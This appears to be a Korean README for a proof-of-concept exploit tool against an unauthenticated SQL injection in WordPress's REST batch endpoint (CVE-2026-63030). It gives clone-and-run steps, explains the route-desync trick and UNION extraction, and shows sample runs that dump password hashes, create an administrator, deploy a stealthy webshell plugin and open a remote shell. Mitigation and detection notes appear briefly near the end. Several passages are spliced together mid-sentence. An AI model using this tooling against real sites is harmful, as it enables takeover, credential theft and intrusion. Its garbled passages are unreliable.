
CVE-2026-63030 - WordPress REST 배치 라우트 혼동 SQL 인젝션 개념 증명
WordPress REST 일괄 처리 라우트 혼동 SQL 인젝션 (CVE-2026-63030) 개념 증명
연구, 익스플로잇 개발 및 문서화: Ch4120N
이 저장소와 함께 제공되는 도구(exploit.py)는 엄격히 교육 목적, 승인된 침투 테스트 및 보안 연구를 위해 제작되었습니다.
명시적이고 사전 서면 동의 없이 이 익스플로잇을 대상에 사용하는 것은 불법이며, 전 세계적으로 컴퓨터 사기 및 남용 관련 법률을 위반합니다. 작성자(Ch4120N)는 이 코드의 사용으로 인해 발생하는 모든 오용, 피해 또는 법적 결과에 대해 전혀 책임지지 않습니다. 항상 법의 테두리 안에서 행동하고 적절한 승인을 받으십시오.
CVE-2026-63030는 WordPress REST API에 영향을 미치는 중요도가 높은 인증 없는 취약점입니다. 중첩 배치 처리 엔드포인트(/wp-json/batch/v1 또는 /?rest_route=/batch/v1) 내의 라우트 혼동 버그를 악용합니다.
WordPress가 REST API 요청 배치를 처리할 때, 각 하위 요청은 실행 전에 해당 스키마에 대해 검증됩니다. 그러나 내부 라우팅 포인터가 의도적으로 잘못 구성된 경로(예: ///)를 처리하는 방식의 결함으로 인해 검증 스키마가 실제 실행 핸들러와 동기화되지 않게 됩니다.
/wp/v2/users 엔드포인트(author_exclude를 허용하지 않음)를 대상으로 하는 요청이 /wp/v2/posts 핸들러에 의해 실행됩니다. 삭제되지 않은 author_exclude 매개변수가 WP_Query의 author__not_in 절에 직접 전달되어 인증 없는 SQL 인젝션이 발생합니다.oembed_cache 게시물 ID를 식별합니다. 그런 다음 익스플로잇은 Customizer changeset 페이로드를 사용하여 내비게이션 메뉴 캐시를 오염시키고, WordPress가 기존 관리자 컨텍스트에서 사용자 생성 요청을 실행하도록 속입니다.pip install 불필요.exploit.py)에 깔끔하게 구성되어 있습니다.WP_Post 행을 위조하여 인밴드 추출(값당 1회 요청).WP_DEBUG_DISPLAY가 활성화된 경우 EXTRACTVALUE() XPATH 오류를 활용.cd 지원)을 제공합니다.타사 패키지는 필요하지 않습니다. Python 3.8 이상이 설치되어 있는지 확인하십시오.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
이 익스플로잇은 check, read, shell의 세 가지 주요 하위 명령어로 나뉩니다.
이 옵션은 모든 하위 명령어에 적용됩니다:
check - 취약점 탐지데이터를 추출하지 않고 라우트 혼동 마커의 존재를 확인하고 SQLi 타이밍을 테스트하여 대상을 안전하게 프로빙합니다.
read - 데이터베이스 추출SQL 인젝션을 통해 데이터베이스에서 직접 데이터를 추출합니다.
shell - 원격 코드 실행웹셸을 배포하고 명령을 실행합니다. 자격 증명이 제공되지 않으면 사전 인증 관리자 생성 브리지를 자동으로 트리거합니다.
다음은 도구가 실제로 작동하는 실제 사례입니다.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
도구가 관리자 계정을 자동으로 생성하고 셸을 배포한 다음 종료 후 정리하는 방법을 확인하십시오.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
익스플로잇의 핵심은 _DESYNC_PRIMER = {"method": "POST", "path": "///"}를 주입하는 데 있습니다. 이 잘못된 URL은 WordPress의 내부 라우팅이 첫 번째 하위 요청에 대해 WP_Error를 생성하도록 강제합니다. 이로 인해 내부 포인터가 이동하여 두 번째 하위 요청이 하나의 스키마로 검증되지만 세 번째 하위 요청의 핸들러에 의해 실행됩니다. 이를 통해 author_exclude 매개변수가 WP_Query에 은밀히 전달됩니다.
느린 블라인드 SQLi 대신 도구는 UNION SELECT를 사용하여 완전히 구성된 가짜 wp_posts 행을 주입합니다. orderby=none 및 per_page=500을 설정하여 WP_Query가 쿼리를 분할하지 못하게 합니다. 주입된 post_title에는 대상 SQL 식의 16진수 인코딩 결과가 || 구분 기호로 감싸져 포함되며, 이는 REST API JSON 응답에 직접 반영됩니다.
배포된 PHP 플러그인은 높은 은밀성을 위해 설계되었습니다:
wp_a1b2c3d4.php).t)과 명령(c)을 요구합니다.hash_equals()를 사용하여 토큰에 대한 타이밍 공격을 방지합니다.chdir)합니다.EXPLOIT::...::END 마커로 감싸집니다.mu-plugins)을 통해 비활성화하십시오:
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
author_exclude가 포함된 중첩 /batch/v1 요청.UNION, SLEEP() 또는 EXTRACTVALUE가 포함된 요청.///와 같은 잘못된 경로.wp-config.php에서 WP_DEBUG_DISPLAY를 로 설정하십시오."큰 힘에는 큰 책임이 따릅니다. 이 지식을 파괴가 아닌 방어를 위해 사용하십시오."
— Ch4120N
| Option | 설명 | 기본값 |
|---|
url | 대상 기본 URL (예: http://target.com) | 필수 |
--rest-route | (고정 링크가 비활성화된 사이트의 경우) /wp-json/batch/v1 대신 /?rest_route=/batch/v1 사용. | False |
--timeout | HTTP 요청 시간 제한(초). | 30.0 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080). | None |
| Option | 설명 | 기본값 |
|---|
--sleep | --confirm-sqli 폴백에 사용되는 SQL 타이밍 지연(초). | 3.0 |
--samples | 테스트할 기준/지연 SQL 타이밍 쌍의 수. | 3 |
--confirm-sqli | 활성 SQLi 확인 페이로드 전송(약간의 지연 추가). | False |
| Option | 설명 | 기본값 |
|---|
--preset | 빠른 추출 사전 설정: fingerprint(버전/사용자/DB) 또는 users(로그인/해시). | fingerprint |
--query | 사용자 지정 스칼라 SQL 식 실행 (예: "SELECT @@version"). | None |
--prefix | 데이터베이스 테이블 접두사. | wp_ |
--max-length | 값당 추출할 최대 문자 수. | 128 |
--technique | 추출 기술: auto, union, error 또는 blind. | auto |
| Option | 설명 | 기본값 |
|---|
--user | 관리자 사용자 이름. (생략하면 사전 인증 브리지 사용). | None |
--password | 관리자 비밀번호. (생략하면 사전 인증 브리지 사용). | None |
--cmd | 대상에서 실행할 단일 명령. | None |
-i, --interactive | 배포 후 대화형 셸(REPL)을 엽니다. | False |
false